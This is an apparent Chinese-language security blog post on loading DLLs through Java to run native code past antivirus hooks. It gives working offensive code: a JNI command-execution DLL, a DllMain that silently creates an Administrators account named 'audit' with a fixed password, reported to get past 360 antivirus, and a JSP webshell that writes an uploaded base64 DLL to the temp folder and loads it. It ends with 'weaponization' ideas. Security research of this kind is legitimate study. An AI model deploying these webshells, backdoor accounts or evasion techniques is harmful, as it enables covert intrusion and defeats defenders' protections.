
前言
前两天学习了DLL,又看到了文章,利用java加载动态链接库绕过杀软:通过动态链接库绕过反病毒软件Hook - Break JVM
后部分的内容有点深入,所以浅显的学习一下整体思路。环境:jdk1.8_181、win11、vs2022、win10
java加载动态链接库
个人理解,java.exe加载动态链接库有什么用?
感觉有点类似白加黑,直接在DLL里调用win-api去执行一些敏感操作,比如添加用户,shellcode执行,可以避免一些cmd的执行,因为现在webshell都是利用cmd.exe去执行。
java加载动态链接库常见有三种方法
- System.load / System.loadLibrary
- Runtime.getRuntime().load / Runtime.getRuntime().loadLibrary
- com.sun.glass.utils.NativeLibLoader.loadLibrary
前两个的load与loadLibrary有一些区别
- load接收的是绝对路径
- loadLibrary接收的是相对路径,不能含有
\
,可通过目录穿越到达 jdk安装所在盘或用户环境变量所在盘下的任意路径,进行加载动态库,调用时不需要动态库的后缀,会自动加上。linux系统应该可以达到任意目录,windows下应该就不行了
loadDll.java
public class loadDll { public static void main(String[] args) throws Exception { String path1 = "C:\\Users\\cys\\Desktop\\Dll3.dll"; String path2 = "../../../../../Dll3"; RuntimeLoad(path); } static void RuntimeLoad(String path){ Runtime.getRuntime().load(path); }
static void SystemLoad(String path){ System.load(path); } static void NativeLoad(String path) throws Exception{ Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader"); Object c = Native.newInstance(); if(Native != null){ java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class); Load.setAccessible(true); Load.invoke(c,path); } } }
|
计算器dll

流程分析
Runtime.getRuntime().load
调用了 Runtime.getRuntime().load0 方法,在这其中会判断路径是否为 绝对路径 然后调用 ClassLoader#loadLibrary

判断系统变量路径是否为空,为空就进行初始化。如果传入路径为 绝对路径 则调用 ClassLoader#loadLibrary0

loadLibrary0 中判断ClassLoader是否加载过该链接库

然后实例化 NativeLibrary 对象,添加到 nativeLibraryContext 中,然后调用 load 方法去加载动态链接库

load为native方法

System.load
直接调用 Runtime.getRuntime().load0 流程同上

Runtime.getRuntime().loadLibrary
调用 Runtime.getRuntime().loadLibrary0 判断 传入的path不能含有 \

直接 ClassLoader.loadLibrary,这里传入false,代表不是绝对路径, findLibrary 去寻找动态库的文件名

如果没找到,从 jdk安装路径与用户环境变量路径下去寻找库, System.mapLibraryName 会根据平台自动加上后缀,windows自动在末尾添加 .dll,接着调用 ClassLoader#loadLibrary0

findBuiltinLib 检查是否是内置的动态链接库,Hotspot JNI库文件加载源码解析CSDN博客

最后加载

System.loadLibrary
直接调用 Runtime.getRuntime().loadLibrary0 流程同上

NativeLibLoader.loadLibrary
提一嘴为什么反射调用
com.sun.glass.utils.NativeLibLoader反射调用是因为在 jdk\javafx-src.zip!\com\sun\glass\utils\NativeLibLoader.java,在不同的版本的jdk中javafx并不是都存在的。
loadLibraryInternal ->loadLibraryFullPath

loadLibraryFullPath 绝对路径会加载成功

loadLibraryFullPath 失败后,遍历环境变量去调用,这里用相对路径,总有一款适合你!

dll编写
vs编写
直接vs进行编写,见 初探DLL劫持 | Y0ng的博客
但是有一个意外情况,在新的win10虚拟机中,单单调用一个calc的dll竟然失败了,尝试了下发现是,我写的dll需要其他依赖库的支持,但是win10虚拟机中并没有这个库,导致无法加载恶意的dll。解决方法就是vs把其他库一起打包喽,运行库选择 /MT

虽然产生的dll很大,不过也算成功执行了。

JNI 技术
慢慢了解到 JNI 技术,
loadDll.java,定义native方法
public class loadDll { public static void main(String[] args) throws Exception { String dllpath = "D:\\java-sec\\Dll\\src\\cmd.dll"; System.load(dllpath);
String cmd = exec("calc"); System.out.println(cmd); } public static native String exec(String cmd); }
|
生成.h文件
生成的头文件,loadDll.h
#include <jni.h>
#ifndef _Included_loadDll #define _Included_loadDll #ifdef __cplusplus extern "C" { #endif
JNIEXPORT jstring JNICALL Java_loadDll_exec (JNIEnv *, jclass, jstring);
#ifdef __cplusplus } #endif #endif
|
编写命令执行的c文件,Command.c
#include "loadDll.h" #include <string.h> #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <stdlib.h>
int execmd(const char *cmd, char *result) { char buffer[1024*12]; //定义缓冲区 FILE *pipe = _popen(cmd, "r"); //打开管道,并执行命令 if (!pipe) return 0; //返回0表示运行失败
while (!feof(pipe)) { if (fgets(buffer, 128, pipe)) { //将管道输出到result中 strcat(result, buffer); } } _pclose(pipe); //关闭管道 return 1; //返回1表示运行成功 } JNIEXPORT jstring JNICALL Java_loadDll_exec(JNIEnv *env, jobject class_object, jstring jstr) {
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL); char result[1024 * 12] = ""; //定义存放结果的字符串数组 if (1 == execmd(cstr, result)) { // printf(result); }
char return_messge[100] = ""; strcat(return_messge, result); jstring cmdresult = (*env)->NewStringUTF(env, return_messge); //system();
return cmdresult; }
|
编译为dll
gcc -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o cmd.dll Command.c
|
加载dll,成功。

利用
这方面利用感觉比较多了,添加用户,命令执行,内网穿透,开启远程登录等等。
在有360情况下添加用户

dll中加上微软示例的添加用户代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include <windows.h> #include <string.h> #include <lmaccess.h> #include <lmerr.h> #include <Tchar.h> #pragma comment(lib,"netapi32.lib")
DWORD CreateAdminUserInternal(void) { NET_API_STATUS rc; BOOL b; DWORD dw;
USER_INFO_1 ud; LOCALGROUP_MEMBERS_INFO_0 gd; SID_NAME_USE snu;
DWORD cbSid = 256; // 256 bytes should be enough for everybody :) BYTE Sid[256];
DWORD cbDomain = 256 / sizeof(TCHAR); TCHAR Domain[256];
// // Create user // http://msdn.microsoft.com/en-us/library/aa370649%28v=VS.85%29.aspx //
memset(&ud, 0, sizeof(ud));
ud.usri1_name = (LPWSTR)TEXT("audit"); // username ud.usri1_password = (LPWSTR)TEXT("Test123456789!"); // password ud.usri1_priv = USER_PRIV_USER; // cannot set USER_PRIV_ADMIN on creation ud.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT; // must be set ud.usri1_script_path = NULL;
rc = NetUserAdd( NULL, // local server 1, // information level (LPBYTE)&ud, NULL // error value );
if (rc != NERR_Success) { _tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc); return rc; }
// // Get user SID // http://msdn.microsoft.com/en-us/library/aa379159(v=vs.85).aspx //
b = LookupAccountName( NULL, // local server _T("audit"), // account name Sid, // SID &cbSid, // SID size Domain, // Domain &cbDomain, // Domain size &snu // SID_NAME_USE (enum) );
if (!b) { dw = GetLastError(); _tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw); return dw; }
// // Add user to "Administrators" local group // http://msdn.microsoft.com/en-us/library/aa370436%28v=VS.85%29.aspx //
memset(&gd, 0, sizeof(gd));
gd.lgrmi0_sid = (PSID)Sid;
rc = NetLocalGroupAddMembers( NULL, // local server _T("Administrators"), 0, // information level (LPBYTE)&gd, 1 // only one entry );
if (rc != NERR_Success) { _tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc); return rc; }
return 0; }
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: CreateAdminUserInternal(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
|
需要一个管理员身份才有权限添加用户。成功绕过杀软添加用户。

师傅的项目里还有RDP以及dump内存等代码
jsp
直接搬来大佬的jsp,通过base64解密后写入随机命名的dll,然后进行load。可拓展为反序列化,JNDI注入等等。
<%@ page import="java.io.RandomAccessFile" %> <%! private String getFileName(){ String fileName = ""; java.util.Random random = new java.util.Random(System.currentTimeMillis()); String os = System.getProperty("os.name").toLowerCase(); if (os.contains("windows")){ fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll"; }else { fileName = "/tmp/"+ random.nextInt(10000000) + ".so"; } return fileName; } public String UploadBase64DLL(java.io.InputStream stream) throws Exception { sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder(); java.io.File file = new java.io.File(getFileName()); java.io.FileOutputStream fos = new java.io.FileOutputStream(file); fos.write(b.decodeBuffer(stream)); fos.close(); return file.getAbsolutePath(); }
private void RuntimeLoad(String path){ Runtime.getRuntime().load(path); }
private void SystemLoad(String path){ System.load(path); } private void NativeLoad(String path) throws Exception{ Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader"); if(Native != null){ java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class); Load.invoke(path); } }
%>
<% out.print("OK"); String method = request.getHeader("WWW-Authenticate");
try{ ServletInputStream stream = request.getInputStream(); if (stream.available() == 0){ out.println(System.getProperty("os.arch")); return; } String file = UploadBase64DLL(stream); switch (method){ case "1": RuntimeLoad(file); break; case "2": SystemLoad(file); break; case "3": NativeLoad(file); break; default: RuntimeLoad(file); break; } }catch (Exception e){ System.out.println(e.toString()); } %>
|
成功写入

武器化思考
浅显的思考可利用的地方
- 编写多功能DLL,按需执行其中的特定功能
- dll与spring有没有一些利用
- 能否实现无文件落地加载dll
Rvn0xsy项目代码:Rvn0xsy/j2osWin (github.com)
参考
Java安全之JNI绕过RASP - nice_0e3 - 博客园 (cnblogs.com)
JNI 安全基础 · 攻击Java Web应用(javasec.org)
通过动态链接库绕过反病毒软件Hook - Break JVM
Java加载动态链接库 - 跳跳糖 (tttang.com)